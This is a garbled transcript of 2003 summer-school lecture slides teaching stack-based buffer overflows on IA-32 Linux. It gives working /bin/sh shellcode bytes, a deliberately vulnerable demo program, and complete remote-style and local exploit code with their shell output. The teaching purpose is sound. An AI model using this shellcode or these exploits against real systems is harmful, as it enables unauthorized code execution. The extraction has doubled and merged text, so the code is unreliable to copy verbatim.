international summer school on information and system security 2003 1 stack based buffer overflows...
DESCRIPTION
International Summer School on Information and System Security IntroductionTRANSCRIPT
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
11
Stack Based Stack Based Buffer Buffer OverflowsOverflows
Alberto Ornaghi <[email protected]>Lorenzo Cavallaro <[email protected]>
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
22
Table of contentsTable of contents
IA-32 introductionIA-32 introduction The issueThe issue Code Code iinjectionnjection ShellcodeShellcode Buffer overflowBuffer overflow Local buffer overflow (no address Local buffer overflow (no address
guessing)guessing)
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
33
IntroductionIntroduction
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
44
Stack layoutStack layout
int foo(int a, int b){ int i = 5; return (a + b) * i;}
int main(int argc, char **argv){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e);}
43
high
low
stack
ret addr SFP
5
ret addr:
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
55
Activation RecordActivation Record
Return AddressReturn Address – – It’s the It’s the address of the instruction to be address of the instruction to be executed once theexecuted once thecalled procedure ends.called procedure ends.
Saved Saved Base PointerBase Pointer (saved (saved frame pointer) frame pointer) – – It holds EBP It holds EBP register value at the time the register value at the time the called procedure is run and it called procedure is run and it “points” to the previous “points” to the previous activation record. activation record.
ret address
saved base pointer
automatic variables
...
...
high
low
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
66
Nested ARsNested ARs
int foo(int a, int b){ bar(a, b);}
int bar(int a, int b){ ...}
int main(int argc, char **argv){ foo(c, d);}
dc
high
low
ba
SFPret address
ret addressSFP
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
77
CPU registersCPU registers
EIP: instruction pointer“it points to the next instruction to be executed”
EBP: base pointer (frame pointer)
“it points to the base of the current AR (static)
ESP: stack pointer“it points to the top of the stack (dynamic)
dc
high
low
ret address
bSFP
ret addressa
SFP
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
88
Prologue and EpiloguePrologue and Epilogue ProloguePrologue::
push %ebppush %ebp ((savesave %ebp) %ebp)mov %emov %espsp, %e, %ebbpp ((move %ebpmove %ebp))
Epilogue:Epilogue:leaveleave ((resetreset %ebp) %ebp)retret ((resetreset %eip) %eip)
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
99
Automatic variablesAutomatic variables
int foo(int a, int b){ int i, j; char buf[9]; …}Default stack alignment is on a double word boundary (4 byte on ia32)
So buffers are just padded to be ona double word boundary.
ba
high
low
ret address
buf[0]
ij
SFP
pad
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1010
The issueThe issue
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1111
Plain situationPlain situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephd”);}
ba
high
low
ret addressSFP 05 00 00 00
7B 00 00 006472 65 70 6873 65 63 75
5 123dr e p hs e c u
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1212
Critical SituationCritical Situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdbcde”);}
ba
high
low
ret addressSFP
05 00 00 0065 00 00 0064 62 63 6472 65 70 6873 65 63 75Buffer Overflow
5ed b c dr e p hs e c u
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1313
Very critical situationVery critical situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdaaabbbbcccceeeeffff”);}
ba
high
low
ret address SFP
5123
63 63 63 6362 62 62 6264 61 61 6172 65 70 6873 65 63 75
65 65 65 6564 64 64 64
Ret Overflow
Segmentation fault...
EIP = 0x65656565
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1414
Code InjectionCode Injection
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1515
Ret address Ret address modificationmodification
ba
high
low
0xbffffcab0xbffffca7
0xbffffc8b
8B FC FF BF
90 90 90 9090 90 90 90
90 90 90 9090 90 90 9090 90 90 9090 90 90 90
int a = 3;int b = 5;int e;
e = foo(a, b);
printf(“%d\n”, e);
ret address SFP
ret addr
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1616
““ret addr” ret addr” guessing guessing (1)(1)
There are no efficient algorithms allowing to blindly find out the “ret addr”, even if there exist few techniques that may help us while exploiting such vulnerabilities.
We simply try to “bruteforce” the addresses’ space keepingin mind that the OS uses virtual memory with paging and so the stack always starts at the same fixed address …
0xbfffffff0xbffffffb0xbffffff7
0xbfffffff0xbffffffb0xbffffff7
Process 1 Process 2high
low
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1717
““ret addr” ret addr” guessing guessing (2)(2)
envargv
main AR foo AR
high
low
A Process image (roughly) looks like:A Process image (roughly) looks like:
bar ARstatic (fixed)
offset
variable offset
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1818
““ret addr” ret addr” guessing guessing (3)(3) Stack pointer register (esp) represents a
good baseto add offsets to (or subtract offsets from); theaddress obtained this way may be quite a goodcandidate as “retaddr” for the vulnerable program.
buf[4]buf[0]
aesp
ret addrb offset (8)
high
low
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
1919
IssuesIssues Functions that manipulate strings Functions that manipulate strings (strcpy, (strcpy,
gets, egets, ettc) c) copy as far as they don’t find a copy as far as they don’t find a NULL byte (stringNULL byte (stringterminator)terminator)..
Injected code MUST NOT contain NULL bytes.Injected code MUST NOT contain NULL bytes.code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”;
strcpy(buf, code);
buf = “\xeb\x2a\x5f\xc6\x47\x07”
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2020
““ret addr” rangeret addr” range To improve our chance to To improve our chance to
find a suitable ret addr we find a suitable ret addr we can prepend to our can prepend to our injected code something injected code something that works like a “landing that works like a “landing strip”:strip”: NOP (0x90)NOP (0x90) ((machine instruction that machine instruction that does No Operation).does No Operation).
ret address
90 90 90 9090 90 90 90
CODE
INJE90 90 90 9090 90 90 90
...
Allowed “ret addr” range
CTED
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2121
Buffer structureBuffer structure Injected buffer will look like this one:Injected buffer will look like this one:
NOP NOP EXECUTABLE CODE RET ADDR
code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”;
little endian !!
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2222
ConsiderationsConsiderations...... Target buffer might be too small to Target buffer might be too small to
hold useful codeshold useful codes
We may encounter non executable We may encounter non executable stack regionstack region
We can put injected code anywhere We can put injected code anywhere in memory, not just into the stackin memory, not just into the stack
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2323
SShellcodehellcode
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2424
execve (1)execve (1)
intmain(void){ char *name[] = { “/bin/sh”, NULL }; execve(name[0], name, NULL);}
int execve(const char *filename, \ char *const argv[], \ char *const envp[] );
execve prototype (user land)
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2525
execve (2)execve (2)(gdb) disass main
push %ebpmov %esp,%ebpsub $0x8,%esplea 0xfffffff8(%ebp),%eaxmovl $0x808b6c8,0xfffffff8(%ebp)movl $0x0,0xfffffffc(%ebp)push $0x0lea 0xfffffff8(%ebp),%eaxpush %eaxmov 0xfffffff8(%ebp),%eaxpush %eaxcall 0x804bf90 <execve>…
SFP%ebp
$0x808b6c8$0x0
$0x0name:
name$0x808b6c8
high
low
stack layout
0x804bf90
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2626
execve (3)execve (3)push %ebpmov %esp,%ebp…mov 0x8(%ebp),%edimov $0x0,%eax…mov 0xc(%ebp),%ecxmov 0x10(%ebp),%edxpush %ebxmov %edi,%ebxmov $0xb,%eaxint $0x80
$0x0namename[0]0x804bf90
high
low
stack layout
SFP%ebp
0x8(%ebp)
0xc(%ebp)
0x10(%ebp)
%ebx <- 0x8(%ebp) = 0x808b6c8%ecx <- 0xc(%ebp) = name%edx <- 0x10(%ebp) = 0x0
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2727
execve (4)execve (4)
must have the string “/bin/sh” somewhere in memory. must build the array holding the address of “/bin/sh”, followed by 0x0 (i.e., the address at which the address of the string “/bin/sh” is) put the proper values into the proper registers
We:
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2828
execve (5)execve (5)
Lets suppose that %ebx holds the address of the string “/bin/sh”, now it suffices to do:…movl %ebx, 0x8(%ebx)movb $0x0, 0x7(%ebx)movl $0x0, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovl $0xb, %eaxint $0x80…
/sh/bin
high
low
stack layout
%ebx addr
addr0x8(%ebx)
0
$0x00xc(%ebx)
addr+4
addr+8
addr+12
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
2929
execve (6)execve (6) We cannot know the absolute address of the location at which the string “/bin/sh” is stored, but we don’t care …
jmp aheadback: popl %ebx …ahead: call back .string \”/bin/sh\”
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3030
jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c 00 00 00 00 leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b 00 00 00 int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff .string \”/bin/sh\” # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
execve (7)execve (7)
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3131
Nil bytes avoidanceNil bytes avoidance
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3232
movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax
Nil bytesNil bytes
xorl %eax, %eaxmovb %al, 0x7(%ebx)movl %eax, 0xc(%ebx)movb $0xb, %al
…xorl %eax, %eaxmovl %ebx, 0x8(%ebx)movb %al, 0x7(%ebx)movl %eax, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovb $0xb, %alint $0x80…
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3333
shellcode (1)shellcode (1)intmain(void) { __asm__(“ jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back .string \”/bin/sh\” “); }
Are there any issues with thistest?
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3434
shellcode (2)shellcode (2)
(gdb) x/29b 0x80483c3
0x80483c3 <main+3>: 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x08
0x80483cb <back+6>: 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b
0x80483d3 <back+14>: 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x80
0x80483db <ahead>: 0xe8 0xe5 0xff 0xff 0xff
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3535
shellcode (3)shellcode (3)
#include <stdio.h>
unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43” “\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5” “\xff\xff\xff/bin/sh";
intmain(void){ void (*f)(void) = (void (*)(void))code;
f();
/* never reached … */ exit(0);}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3636
shellcode (4)shellcode (4)
intmain(void){ char *name[] = { “/bin/sh”, NULL }; char *env[] = { “PATH=/bin:/sbin:/nonexistent”, NULL };
execve(name[0], name, env);
/* never reached … */ exit(1);}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3737
shellcode (5)shellcode (5)jmp aheadback: popl %edi jmp beginahead: call backbegin:
xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx
movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecx
XXXXXXXX……=/bin=/binPATHPATH/shA/shA/bin/bin
high
low
name[0]name[0]
name[0]name[0]name[1]name[1]
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3838
shellcode (6)shellcode (6) movl %edi, %ebx addb $(env - begin), %bl
movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx
popl %ebx movb $0xb, %al int $0x80
shell: .string \"/bin/sh\" # 7 bytesenv: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes
.string \"APATH=/bin:/sbin:/nonexistentXXXX\“
XXXXXXXX……=/bin=/binPATHPATH/shA/shA/bin/bin
high
low
name[0]name[0]
name[0]name[0]name[1]name[1]env[0]env[0]env[1]env[1]
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
3939
ShShellcodeellcode testing testingunsigned char shellcode[] = “\xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89” “\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b” “\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(){
void (*f)(void) = (void (*)(void))shellcode;
f();
}
sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4040
Vulnerable program Vulnerable program (1)(1)void foo(char *);
intmain(void){ char name[512];
memset(name, 0, sizeof (name)); fgets(name, sizeof (name), stdin); name[strlen(name) – 1] = 0;
printf(“calling foo …\n”); foo(name); printf(“foo executed succesfully\n”);
exit(0);}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4141
Vulnerable program Vulnerable program (2)(2)
voidfoo(char *s){ char buf[128];
fprintf(stderr, “buf @ %p\n”, buf); memset(buf, 0, sizeof (buf)); strcpy(buf, s);
printf(“Hello ‘%s’\n”, buf);
return;}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4242
Vulnerable program Vulnerable program (3)(3)sullivan@assurancetourix% ./vuln ~PhD classcalling foo …buf @ 0xbffff9fcHello ‘PhD class’foo executed succesfullysullivan@assurancetourix% ~
sullivan@assurancetourix% perl -e '{ print "A" x 256 }' | ./vulncalling foo ...buf @ 0xbffff9fcHello'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA…AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'zsh: 2587 done perl -e '{ print "A" x 256 }' |zsh: 2588 segmentation fault (core dumped) ./vulnsullivan@assurancetourix% gdb -q -c core Core was generated by `./vuln'.Program terminated with signal 11, Segmentation fault.#0 0x41414141 in ?? ()
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4343
Exploit (1)Exploit (1)unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
#define NOP 0x90
#define SIZE 256#define OFFSET 0#define ALIGN 0
static long __inline__ get_esp(void);
intmain(int argc, char **argv){
int align, offset, size, c, i; long *ptr; long addr; char *p; …
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4444
Exploit (2)Exploit (2) p = (char *) calloc(1, size + align); /* align ourself */ p = (char *) (p + align);
addr = get_esp() + offset; ptr = (long *)p;
for (i = 0; i < size; i += 4) *ptr++ = addr;
c = size/2 - strlen(shellcode); memset(p, NOP, c); memcpy(p + c, shellcode, strlen(shellcode));
printf("%s\n", p); exit(0);}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4545
Exploit (3)Exploit (3)static long __inline__get_esp(void){
long ret;
/* * force using %eax as output register to “align” * ourself to gcc output */ __asm__ ("movl %%esp, %0" : "=a" (ret));
return ret;}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4646
Exploit (4)Exploit (4)
sullivan@assurancetourix% (./x –s 160 –o –0x260; cat) | ./vuln[+] using address: 0xbffff9fc[+] NOP filling: 45 bytes[+] shellcode size: 35…° Íèæÿÿÿ/bin/shüùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ…’…iduid=1021(sullivan) gid=100(users) groups=100(users)ls -a. local.c shellcode.c stack.c test.c vuln.c x.c x2.c x3.c.. local shellcode stack test vuln x x2 x3exit
sullivan@assurancetourix%
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4747
Local vulnerability (1)Local vulnerability (1)
void foo(char *);
intmain(int argc, char **argv){
… printf("calling foo ...\n"); foo(argv[1]); printf("foo executed succesfully\n");
exit(0);}…
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4848
Local vulnerability (2)Local vulnerability (2)
$0x0
.. // ll oocc aa ll 00
shellcodeshellcode
0xc0000000 … addressable in kernel spaceaddressable in kernel/user space
$0x0
env
argv[1] injected buffer (shellcode’s address)…
argv
nil terminated shellcode
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
4949
Local exploit (1)Local exploit (1)
#define VULN "./local"#define SIZE 160
unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
intmain(int argc, char **argv){
char p[SIZE]; /* put the shellcode in target's envp */ char *envp[] = { shellcode, NULL }; /* what to execute */ char *vuln[] = { VULN, p, NULL }; int *ptr, i, addr;
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
5050
Local exploit (2)Local exploit (2)
/* * compute return address: since strlen doesn’t * count for nil bytes, we do … * 0xc0000000 – 4 – 1 – 1 = 0xbffffffa */ addr = 0xbffffffa - strlen(shellcode) - strlen(VULN); fprintf(stderr, "[+] using address: %#010x\n", addr);
/* fill buffer with computed address */ ptr = (int * )p; for (i = 0; i < SIZE; i += 4) *ptr++ = addr; execve(vuln[0], vuln, envp);
fprintf(stderr, "[!] execve: %s\n", strerror(errno)); exit(1);}
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
5151
Local exploit (3)Local exploit (3)
sullivan@assurancetourix% ./x2[+] using address: 0xbfffffd0calling foo ...Hello 'Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ¿Ðÿÿ…¿O!@'sh-2.05a$ lslocal shellcode.c stack.c test.c vuln.c x.c x2.c x3.clocal.c shellcode stack test vuln x x2 x3sh-2.05a$ exitexitsullivan@assurancetourix%
International Summer School on InformatiInternational Summer School on Information and System Security 2003on and System Security 2003
5252
ContactsContacts
• Lorenzo Cavallaro <Lorenzo Cavallaro <[email protected]@antifork.org>>• Alberto Ornaghi <[email protected]>Alberto Ornaghi <[email protected]>
http://sullivan.antifork.org/http://alor.antifork.org/http://shellcodes.antifork.org/